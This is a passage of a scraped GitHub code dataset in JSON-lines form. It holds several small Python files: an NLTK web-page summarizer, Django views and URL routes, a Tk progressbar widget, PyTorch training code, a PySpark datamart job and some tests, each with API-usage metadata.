"call"}, {"api_name": "os.path.exists", "line_number": 551, "usage_type": "call"}, {"api_name": "os.path", "line_number": 551, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 552, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 554, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 556, "usage_type": "call"}, {"api_name": "os.path", "line_number": 556, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 559, "usage_type": "call"}, {"api_name": "pickle.HIGHEST_PROTOCOL", "line_number": 559, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 562, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 569, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 571, "usage_type": "call"}, {"api_name": "os.path", "line_number": 571, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 574, "usage_type": "call"}, {"api_name": "pickle.HIGHEST_PROTOCOL", "line_number": 574, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 577, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 584, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 586, "usage_type": "call"}, {"api_name": "os.path", "line_number": 586, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 589, "usage_type": "call"}, {"api_name": "pickle.HIGHEST_PROTOCOL", "line_number": 589, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 592, "usage_type": "call"}, {"api_name": "gc.collect", "line_number": 622, "usage_type": "call"}]} {"seq_id": "4109089856", "text": "# -*- coding: utf-8 -*-\n\n\n#Importing required libraries\nfrom string import punctuation\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word_tokenize\nfrom nltk.tokenize import sent_tokenize\nimport urllib.request\nimport bs4 as BeautifulSoup\nimport nltk\nfrom nltk.cluster.util import cosine_distance\nimport numpy as np\nimport networkx as nx\nimport re\n\ndef read_article(text):\n\n sentences =[]\n\n sentences = sent_tokenize(text) #module in nltk\n for sentence in sentences:\n sentence.replace(\"[^a-zA-Z0-9]\",\" \")\n\n return sentences\n\n\ndef generate_summary2(lnk):\n text = urllib.request.urlopen(lnk)\n article = text.read()\n article_parsed = BeautifulSoup.BeautifulSoup(article,'html.parser')\n paragraphs = article_parsed.find_all('p')\n article_content = ''\n for p in paragraphs:\n article_content += p.text\n sentencel = read_article(article_content)\n tokens = word_tokenize(article_content)\n nltk.download(\"stopwords\")\n stop_words = stopwords.words('english')\n from string import punctuation\n punctuation = punctuation + '\\n'\n word_frequencies = {}\n for word in tokens:\n if word.lower() not in stop_words:\n if word.lower() not in punctuation:\n if word not in word_frequencies.keys():\n word_frequencies[word] = 1\n else:\n word_frequencies[word] += 1\n max_frequency = max(word_frequencies.values())\n for word in word_frequencies.keys():\n word_frequencies[word] = word_frequencies[word]/max_frequency\n sent_token = sent_tokenize(article_content)\n sentence_scores = {}\n for sent in sent_token:\n sentence = sent.split(\" \")\n for word in sentence:\n if word.lower() in word_frequencies.keys():\n if sent not in sentence_scores.keys():\n sentence_scores[sent] = word_frequencies[word.lower()]\n else:\n sentence_scores[sent] += word_frequencies[word.lower()]\n from heapq import nlargest\n select_length = int(len(sent_token)*0.3)\n summary = nlargest(select_length, sentence_scores, key = sentence_scores.get)\n final_summary = [word for word in summary]\n summary = ' '.join(final_summary)\n summaryl = read_article(summary)\n return summary,len(sentencel),len(summaryl)\n", "repo_name": "simranrawat/GO-PRECISE", "sub_path": "webpagesummary.py", "file_name": "webpagesummary.py", "file_ext": "py", "file_size_in_byte": 2343, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "70", "api": [{"api_name": "nltk.tokenize.sent_tokenize", "line_number": 21, "usage_type": "call"}, {"api_name": "urllib.request.request.urlopen", "line_number": 29, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 29, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 29, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 31, "usage_type": "call"}, {"api_name": "nltk.tokenize.word_tokenize", "line_number": 37, "usage_type": "call"}, {"api_name": "nltk.download", "line_number": 38, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 39, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 39, "usage_type": "name"}, {"api_name": "string.punctuation", "line_number": 41, "usage_type": "name"}, {"api_name": "string.punctuation", "line_number": 45, "usage_type": "name"}, {"api_name": "nltk.tokenize.sent_tokenize", "line_number": 53, "usage_type": "call"}, {"api_name": "heapq.nlargest", "line_number": 65, "usage_type": "call"}]} {"seq_id": "18235796942", "text": "from django.shortcuts import render\r\nfrom .models import Post, Contact, Social, WebElement, Soupiska\r\nfrom .forms import NewUserForm\r\nfrom django.contrib.auth import login\r\nfrom django.contrib import messages\r\n\r\nsocial = Social.objects\r\nwebelement = WebElement.objects\r\npost = Post.objects.order_by(\"-pub_date\")\r\n\r\n# co všechno se má odeslat z databáze na stránku a podle jakého templatu má stránka vypadat\r\n\r\n\r\ndef IndexView(response):\r\n return render(\r\n response,\r\n \"website/index.php\",\r\n {\"post\": post, \"social\": social, \"webelement\": webelement},\r\n )\r\n\r\n\r\ndef ContactView(response):\r\n contacts = Contact.objects\r\n return render(\r\n response,\r\n \"website/contacts.php\",\r\n {\"contacts\": contacts, \"social\": social, \"webelement\": webelement},\r\n )\r\n\r\n\r\ndef GroupView(response, group):\r\n return render(\r\n response,\r\n \"website/group.php\",\r\n {\"group\": group, \"post\": post, \"social\": social, \"webelement\": webelement},\r\n )\r\n\r\n\r\ndef AboutUsView(response):\r\n return render(\r\n response,\r\n \"website/about.php\",\r\n {\"social\": social, \"webelement\": webelement},\r\n )\r\n\r\n\r\ndef SoupiskaView(response, group):\r\n soupiska = Soupiska.objects\r\n return render(\r\n response,\r\n \"website/soupiska.php\",\r\n {\r\n \"group\": group,\r\n \"soupiska\": soupiska,\r\n \"social\": social,\r\n \"webelement\": webelement,\r\n },\r\n )\r\n\r\n\r\ndef SignUpView(response):\r\n if response.method == \"POST\":\r\n form = NewUserForm(response.POST)\r\n if form.is_valid():\r\n user = form.save()\r\n login(response, user)\r\n messages.success(response, \"Registration successful.\")\r\n return render(\r\n response,\r\n \"website/index.php\",\r\n {\"post\": post, \"social\": social, \"webelement\": webelement},\r\n )\r\n messages.error(response, \"Unsuccessful registration. Invalid information.\")\r\n form = NewUserForm()\r\n return render(\r\n response,\r\n \"website/signup.php\",\r\n {\"register_form\": form, \"social\": social, \"webelement\": webelement},\r\n )\r\n", "repo_name": "Tomas771cz/mat_prac", "sub_path": "mat_prac/website/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2204, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "70", "api": [{"api_name": "models.Social.objects", "line_number": 7, "usage_type": "attribute"}, {"api_name": "models.Social", "line_number": 7, "usage_type": "name"}, {"api_name": "models.WebElement.objects", "line_number": 8, "usage_type": "attribute"}, {"api_name": "models.WebElement", "line_number": 8, "usage_type": "name"}, {"api_name": "models.Post.objects.order_by", "line_number": 9, "usage_type": "call"}, {"api_name": "models.Post.objects", "line_number": 9, "usage_type": "attribute"}, {"api_name": "models.Post", "line_number": 9, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 15, "usage_type": "call"}, {"api_name": "models.Contact.objects", "line_number": 23, "usage_type": "attribute"}, {"api_name": "models.Contact", "line_number": 23, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 24, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 32, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 40, "usage_type": "call"}, {"api_name": "models.Soupiska.objects", "line_number": 48, "usage_type": "attribute"}, {"api_name": "models.Soupiska", "line_number": 48, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 49, "usage_type": "call"}, {"api_name": "forms.NewUserForm", "line_number": 63, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 66, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 67, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 67, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 68, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 73, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 73, "usage_type": "name"}, {"api_name": "forms.NewUserForm", "line_number": 74, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 75, "usage_type": "call"}]} {"seq_id": "29227427535", "text": "from django.urls import path\r\n\r\nfrom . import views\r\n\r\n\r\napp_name = \"shifter_files\"\r\nurlpatterns = [\r\n path('', views.FileUploadView.as_view(), name='index'),\r\n path('files', views.FileListView.as_view(), name='myfiles'),\r\n path('files/', views.FileDetailView.as_view(),\r\n name='file-details'),\r\n path('download/', views.FileDownloadLandingView.as_view(),\r\n name='file-download-landing'),\r\n path('f/', views.FileDownloadView.as_view(),\r\n name='file-download'),\r\n path('files//delete', views.FileDeleteView.as_view(),\r\n name='file-delete'),\r\n]\r\n", "repo_name": "TobySuch/Shifter", "sub_path": "shifter/shifter_files/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 650, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 11, "dataset": "github-code", "pt": "70", "api": [{"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}]} {"seq_id": "13502736643", "text": "from typing import Literal, Optional\n\nfrom ._base import BaseWidget, TkWidget\nfrom ._variables import Float\n\n\nclass ProgressBar(BaseWidget):\n _tcl_class = \"ttk::progressbar\"\n _keys = {\n \"focusable\": (bool, \"takefocus\"),\n \"max\": float,\n \"mode\": str,\n \"orientation\": (str, \"orient\"),\n \"value\": float,\n \"variable\": Float,\n }\n\n def __init__(\n self,\n parent: Optional[TkWidget] = None,\n focusable: Optional[bool] = None,\n max: Optional[int] = 100,\n mode: Optional[Literal[\"determinate\", \"indeterminate\"]] = None,\n orientation: Optional[Literal[\"horizontal\", \"vertical\"]] = None,\n value: Optional[int] = None,\n variable: Optional[Float] = None,\n ) -> None:\n BaseWidget.__init__(\n self,\n parent,\n maximum=max,\n mode=mode,\n orient=orientation,\n takefocus=focusable,\n value=value,\n variable=variable,\n )\n\n def _repr_details(self):\n return f\"mode={self.mode!r}, max={self.max!r}, value={self.value!r}\"\n\n def get(self) -> float:\n return self.value\n\n def set(self, value: float = 0) -> None:\n self.value = value\n\n def start(self, steps_per_second: int = 20) -> None:\n if steps_per_second > 1000:\n raise ValueError(\"error\")\n interval = int(1000 / steps_per_second)\n self._tcl_call(None, self, \"start\", interval)\n\n def stop(self) -> None:\n self._tcl_call(None, self, \"stop\")\n\n def step(self, amount: int = 1) -> None:\n self._tcl_call(None, self, \"step\", amount)\n\n def __add__(self, other: int):\n self.set(self.get() + other)\n return self\n\n def __sub__(self, other: int):\n self.set(self.get() - other)\n return self\n", "repo_name": "im-coder-lg/tukaan", "sub_path": "tukaan/progressbar.py", "file_name": "progressbar.py", "file_ext": "py", "file_size_in_byte": 1834, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "70", "api": [{"api_name": "_base.BaseWidget", "line_number": 7, "usage_type": "name"}, {"api_name": "_variables.Float", "line_number": 15, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 20, "usage_type": "name"}, {"api_name": "_base.TkWidget", "line_number": 20, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 21, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 22, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 23, "usage_type": "name"}, {"api_name": "typing.Literal", "line_number": 23, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 24, "usage_type": "name"}, {"api_name": "typing.Literal", "line_number": 24, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 25, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 26, "usage_type": "name"}, {"api_name": "_variables.Float", "line_number": 26, "usage_type": "name"}, {"api_name": "_base.BaseWidget.__init__", "line_number": 28, "usage_type": "call"}, {"api_name": "_base.BaseWidget", "line_number": 28, "usage_type": "name"}]} {"seq_id": "42531322952", "text": "'''\nInput: __init__(feature_size), eeg_features\nOutput: the noised data from gaussian layer\n'''\n\nimport torch\nfrom torch import nn\n\n\nclass MoGLayer(nn.Module):\n\n def __init__(self, noise_dim: tuple):\n super(MoGLayer, self).__init__()\n\n pre_std = torch.zeros(noise_dim)\n pre_std = torch.nn.init.uniform_(pre_std, -0.2, 0.2)\n self.std = nn.Parameter(pre_std, requires_grad=True)\n\n pre_mean = torch.zeros(noise_dim)\n pre_mean = torch.nn.init.uniform_(pre_mean, -1.0, 1.0)\n self.mean = nn.Parameter(pre_mean, requires_grad=True)\n\n def set_dev(self, DEV):\n self.dev = DEV\n\n def forward(self, noise):\n return self.mean.to(self.dev) + (self.std.to(self.dev) * noise.to(self.dev))\n", "repo_name": "nopphonyel/EEG2Audio", "sub_path": "main_code/model/layer/MoGLayer.py", "file_name": "MoGLayer.py", "file_ext": "py", "file_size_in_byte": 745, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "torch.nn.Module", "line_number": 10, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 10, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.nn.init.uniform_", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 16, "usage_type": "attribute"}, {"api_name": "torch.nn.Parameter", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.nn.init.uniform_", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 20, "usage_type": "attribute"}, {"api_name": "torch.nn.Parameter", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 21, "usage_type": "name"}]} {"seq_id": "38821269574", "text": "import collections, math\ndef solution(fees, records):\n cars_park_record, cars_park_time = collections.defaultdict(list), collections.defaultdict(int)\n for record in records:\n time, car_num, _ = record.split()\n cars_park_record[car_num].append(time)\n \n for car_num in cars_park_record:\n times = cars_park_record[car_num]\n for i in range((len(times) + 1) // 2):\n in_hour, in_minute = map(int, times[i * 2].split(':'))\n print(in_hour, in_minute)\n if i * 2 + 1 >= len(times):\n out_hour, out_minute = 23, 59\n else:\n out_hour, out_minute = map(int, times[i * 2 + 1].split(':'))\n time = (out_hour - in_hour) * 60 + (out_minute - in_minute)\n cars_park_time[car_num] += time\n \n answer = []\n for car_num in sorted(cars_park_time):\n time = cars_park_time[car_num]\n if time <= fees[0]:\n answer.append(fees[1])\n else:\n fee = fees[1] + math.ceil((time - fees[0]) / fees[2]) * fees[3]\n answer.append(fee)\n \n return answer\n", "repo_name": "BoostcampAI2Study/Coding_Study", "sub_path": "220516_(카카오) 주차 요금 계산/주차 요금 계산_HW.py", "file_name": "주차 요금 계산_HW.py", "file_ext": "py", "file_size_in_byte": 1120, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "collections.defaultdict", "line_number": 3, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 26, "usage_type": "call"}]} {"seq_id": "25053171692", "text": "import time\nimport torch\n\ndef train_hebb(model, loader, device, measures=None, criterion=None):\n \"\"\"\n Train only the hebbian blocks\n \"\"\"\n t = time.time()\n loss_acc = (not model.is_hebbian()) and (criterion is not None)\n with torch.no_grad():\n for inputs, target in loader:\n # print(inputs.min(), inputs.max(), inputs.mean(), inputs.std())\n ## 1. forward propagation\n inputs = inputs.float().to(device) # , non_blocking=True)\n output = model(inputs)\n\n # print(r\"%s\"%(time.time()-t))\n\n if loss_acc:\n target = target.to(device, non_blocking=True)\n\n ## 2. loss calculation\n loss = criterion(output, target)\n\n ## 3. Accuracy assessment\n predict = output.data.max(1)[1]\n acc = predict.eq(target.data).sum()\n # Save if measurement is wanted\n conv, r1 = model.convergence()\n measures.step(target.shape[0], loss.clone().detach().cpu(), acc.cpu(), conv, r1, model.get_lr())\n model.update()\n\n info = model.radius()\n convergence, R1 = model.convergence()\n return measures, model.get_lr(), info, convergence, R1\n\ndef train_unsup(model, loader, device,\n blocks=[]): # fixed bug as optimizer is not used or pass in the only use it has in this repo currently\n \"\"\"\n Unsupervised learning only works with hebbian learning\n \"\"\"\n model.train(blocks=blocks) # set unsup blocks to train mode\n _, lr, info, convergence, R1 = train_hebb(model, loader, device)\n return lr, info, convergence, R1", "repo_name": "OilProducts/brainer", "sub_path": "train_soft_hebb.py", "file_name": "train_soft_hebb.py", "file_ext": "py", "file_size_in_byte": 1651, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "time.time", "line_number": 8, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 10, "usage_type": "call"}]} {"seq_id": "14224512062", "text": "'''\n\nPROBLEM: \n\nGiven a string, rearrange it so that any two adjacent characters are not the same. \nIf such a reorganization of the characters is possible, output any possible valid \narrangement. Otherwise, return an empty string.\n\n------------------------\nPATTERN: TOP K ELEMENTS\n------------------------\n\n'''\n\n# importing libraries\nfrom collections import Counter\nimport heapq\n\ndef reorganize_string(input_string):\n \n output = [\"\"] * len(input_string) \n counter = Counter(input_string)\n\n max_heap = [[-val, key] for key, val in counter.items()]\n heapq.heapify(max_heap)\n\n if len(input_string) % 2 == 0 and (-max_heap[0][0]) > len(input_string) // 2 :\n return \"\"\n elif (-max_heap[0][0]) > (len(input_string) // 2) + 1 : \n return \"\"\n\n \n i = 0\n previous = None\n while i < len(input_string) : \n\n if max_heap :\n \n freq, char = heapq.heappop(max_heap)\n\n output[i] = char\n\n i += 1\n freq += 1\n\n if previous :\n heapq.heappush(max_heap, previous)\n previous = None\n\n if i < len(input_string) and freq < 0 : \n previous = [freq,char]\n \n elif previous : return \"\"\n else : break\n \n\n\n\n return ''.join(output)\n\n\n\n\n\n\n", "repo_name": "kelanax/leetcode_prac", "sub_path": "Top K Elements/reorganize_string.py", "file_name": "reorganize_string.py", "file_ext": "py", "file_size_in_byte": 1308, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "collections.Counter", "line_number": 22, "usage_type": "call"}, {"api_name": "heapq.heapify", "line_number": 25, "usage_type": "call"}, {"api_name": "heapq.heappop", "line_number": 39, "usage_type": "call"}, {"api_name": "heapq.heappush", "line_number": 47, "usage_type": "call"}]} {"seq_id": "25121131784", "text": "#!/usr/bin/env python\n\"\"\"\nTests covering the parsing functions that read in light characteristics.\n\"\"\"\n\nimport pytest\n\n\nfrom light_character import light_character\n\n\n@pytest.mark.parametrize(\n \"test_input\",\n [\n 'F', 'Fl', 'LFl', 'Oc', 'Iso', 'Q'\n ]\n)\ndef test_parse_pattern_simple(test_input):\n \"\"\"\n Parse pattern returns the pattern name in lower case.\n If there are no explicit groups, there is an implicit single\n group of 1.\n \"\"\"\n actual = light_character.parse_pattern(test_input)\n assert actual == (test_input.lower(), [1])\n\n\n@pytest.mark.parametrize(\n \"test_input, expected\",\n [\n ('F.', ('f', [1])),\n ('Fl.(3+1)', ('fl', [3, 1])),\n ('L.Fl.(2)', ('lfl', [2])),\n ('Oc.(1+2+3)', ('oc', [1, 2, 3]))\n ]\n)\ndef test_parse_pattern(test_input, expected):\n \"\"\"\n Parse pattern returns the pattern name in lower case, filtered for dots.\n If there are explicit groups, they are also returned.\n \"\"\"\n assert light_character.parse_pattern(test_input) == expected\n\n\ndef test_period_error():\n try:\n light_character.parse_period([])\n assert False\n except IndexError:\n assert True\n\n\n@pytest.mark.parametrize(\n \"fragments,expected\",\n [\n (['xyz', '1'], 1000),\n (['xyz', '10s'], 10000),\n (['xyz', '15', 's'], 15000),\n (['xyz', '1.5s'], 1500)\n ]\n)\ndef test_period(fragments, expected):\n \"\"\"\n The period is the last part of the characteristic.\n It may or may not be marked with 's' for seconds.\n The output value is in milliseconds.\n \"\"\"\n assert light_character.parse_period(fragments) == expected\n\n\n@pytest.mark.parametrize(\n \"fragments,expected\",\n [\n (['R'], 'R'),\n (['W'], 'W'),\n (['G', '1s'], 'G'),\n (['Y'], 'Y'),\n ]\n)\ndef test_colour_code(fragments, expected):\n assert light_character.get_colour_code(fragments) == (\n expected,\n fragments[1:]\n )\n\n\ndef test_colour_code_default():\n \"\"\"\n A characteristic without an explicit colour is white\n :return:\n \"\"\"\n assert light_character.get_colour_code(['1s']) == (\n 'W',\n ['1s']\n )\n", "repo_name": "paul-butcher/light_character", "sub_path": "tests/test_parsing.py", "file_name": "test_parsing.py", "file_ext": "py", "file_size_in_byte": 2171, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "light_character.light_character.parse_pattern", "line_number": 24, "usage_type": "call"}, {"api_name": "light_character.light_character", "line_number": 24, "usage_type": "name"}, {"api_name": "pytest.mark.parametrize", "line_number": 12, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 12, "usage_type": "attribute"}, {"api_name": "light_character.light_character.parse_pattern", "line_number": 42, "usage_type": "call"}, {"api_name": "light_character.light_character", "line_number": 42, "usage_type": "name"}, {"api_name": "pytest.mark.parametrize", "line_number": 28, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 28, "usage_type": "attribute"}, {"api_name": "light_character.light_character.parse_period", "line_number": 47, "usage_type": "call"}, {"api_name": "light_character.light_character", "line_number": 47, "usage_type": "name"}, {"api_name": "light_character.light_character.parse_period", "line_number": 68, "usage_type": "call"}, {"api_name": "light_character.light_character", "line_number": 68, "usage_type": "name"}, {"api_name": "pytest.mark.parametrize", "line_number": 53, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 53, "usage_type": "attribute"}, {"api_name": "light_character.light_character.get_colour_code", "line_number": 81, "usage_type": "call"}, {"api_name": "light_character.light_character", "line_number": 81, "usage_type": "name"}, {"api_name": "pytest.mark.parametrize", "line_number": 71, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 71, "usage_type": "attribute"}, {"api_name": "light_character.light_character.get_colour_code", "line_number": 92, "usage_type": "call"}, {"api_name": "light_character.light_character", "line_number": 92, "usage_type": "name"}]} {"seq_id": "40863902173", "text": "import sys\n\nfrom pyspark import SparkConf, SparkContext\nfrom pyspark.sql import SQLContext\nimport pyspark.sql.functions as F\n\nfrom users_datamart import distance\n\n\n\n\ndef main():\n\n date = sys.argv[1]\n events_base_path = sys.argv[2]\n geo_base_path = sys.argv[3]\n second_table_save = sys.argv[4]\n\n conf = SparkConf().setAppName(f\"ZonesDatamart-{date}\")\n sc = SparkContext(conf=conf)\n sql = SQLContext(sc)\n\n date_pivot=F.to_date(F.lit(date), \"yyyy-MM-dd\")\n def count_event_zone(df,event,slice):\n return df\\\n .select(F.col('id').alias('zone_id'),F.col('event_type'))\\\n .filter(F.col('event_type')==event)\\\n .groupBy('zone_id')\\\n .agg(F.count('*').alias(f'{slice}_{event}'))\n\n def count_registration(df, message, slice, date):\n if slice == 'month':\n messages_without_pivot = message.select('event.message_from').where(\n (F.month(\"date\") < F.month(date_pivot)) & (F.year(\"date\") <= F.year(date_pivot)))\n elif slice == 'week':\n messages_without_pivot = message.select('event.message_from').where(\n (F.weekofyear(\"date\") < F.weekofyear(date_pivot)) & (F.year(\"date\") <= F.year(date_pivot)))\n\n return df.select(F.col('event.message_from'),F.col('id').alias('zone_id'))\\\n .join(messages_without_pivot, 'message_from', 'left_anti') \\\n .distinct() \\\n .groupBy('zone_id')\\\n .agg(F.count('*').alias(f'{slice}_user'))\n\n\n date_pivot=F.to_date(F.lit(date), \"yyyy-MM-dd\")\n\n message = sql.read.parquet(events_base_path) \\\n .where(F.col('date') <= date_pivot)\\\n .withColumn('lat1', F.radians(F.col('lat'))) \\\n .withColumn('lon1', F.radians(F.col('lon'))) \\\n .drop('lat','lon')\n\n event_week = sql.read.parquet(events_base_path) \\\n .where((F.col('date') <= F.lit(date_pivot)) &\n (F.weekofyear(F.col('date')) == F.weekofyear(date_pivot)) &\n (F.year(F.col('date')) == F.year(date_pivot))) \\\n .withColumn('lat1', F.radians(F.col('lat'))) \\\n .withColumn('lon1', F.radians(F.col('lon'))) \\\n .drop('lat','lon')\n\n event_month = sql.read.parquet(events_base_path) \\\n .where((F.col('date') <= F.lit(date_pivot)) &\n (F.month(F.col('date')) == F.month(date_pivot)) &\n (F.year(F.col('date')) == F.year(date_pivot)))\\\n .withColumn('lat1', F.radians(F.col('lat'))) \\\n .withColumn('lon1', F.radians(F.col('lon'))) \\\n .drop('lat','lon')\n\n\n\n geo = sql.read.option(\"delimiter\", \";\").option(\"header\", True).csv(geo_base_path) \\\n .withColumn('lat2', F.radians(F.col('lat'))) \\\n .withColumn('lon2', F.radians(F.col('lng'))) \\\n .drop('lat', 'lng')\n\n\n\n event_week_city = distance(event_week, geo)\n event_month_city = distance(event_month, geo)\n\n count_event_week = count_event_zone(event_week_city, 'message', 'week') \\\n .join(count_event_zone(event_week_city, 'reaction', 'week'), 'zone_id','full') \\\n .join(count_event_zone(event_week_city, 'subscription', 'week'), 'zone_id','full') \\\n .join(count_registration(event_week_city, message, 'week', date_pivot),'zone_id','full')\n\n\n count_event_month = count_event_zone(event_month_city, 'message', 'month').drop('user_id','event_type') \\\n .join(count_event_zone(event_month_city, 'reaction', 'month'), 'zone_id','full') \\\n .join(count_event_zone(event_month_city, 'subscription', 'month'), 'zone_id','full') \\\n .join(count_registration(event_month_city, message, 'month', date_pivot),'zone_id','full')\n\n\n zones_datamart = geo.select(\n F.weekofyear(date_pivot).alias('week'),\n F.month(date_pivot).alias('month'),\n F.col('id').alias('zone_id'))\\\n .join(count_event_week, 'zone_id', 'full')\\\n .join(count_event_month, 'zone_id', 'full')\n \n zones_datamart.write.parquet(f\"{second_table_save}/date={date}\")\n\n \nif __name__ == '__main__':\n main()\n\n", "repo_name": "Yussdan/datalake_pyspark", "sub_path": "src/scripts/zones_datamart.py", "file_name": "zones_datamart.py", "file_ext": "py", "file_size_in_byte": 4118, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "sys.argv", "line_number": 14, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 15, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 16, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 17, "usage_type": "attribute"}, {"api_name": "pyspark.SparkConf", "line_number": 19, "usage_type": "call"}, {"api_name": "pyspark.SparkContext", "line_number": 20, "usage_type": "call"}, {"api_name": "pyspark.sql.SQLContext", "line_number": 21, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.to_date", "line_number": 23, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 23, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.lit", "line_number": 23, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 26, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 26, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 27, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 27, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.count", "line_number": 29, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 29, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.month", "line_number": 34, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 34, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.year", "line_number": 34, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.weekofyear", "line_number": 37, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 37, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.year", "line_number": 37, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 39, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 39, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.count", "line_number": 43, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 43, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.to_date", "line_number": 46, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 46, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.lit", "line_number": 46, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 49, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 49, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.radians", "line_number": 50, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 50, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 50, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.radians", "line_number": 51, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 51, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 51, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 55, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 